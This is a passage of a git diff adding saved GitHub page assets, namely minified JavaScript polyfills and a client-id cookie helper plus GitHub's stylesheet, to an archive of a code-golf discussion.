C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable 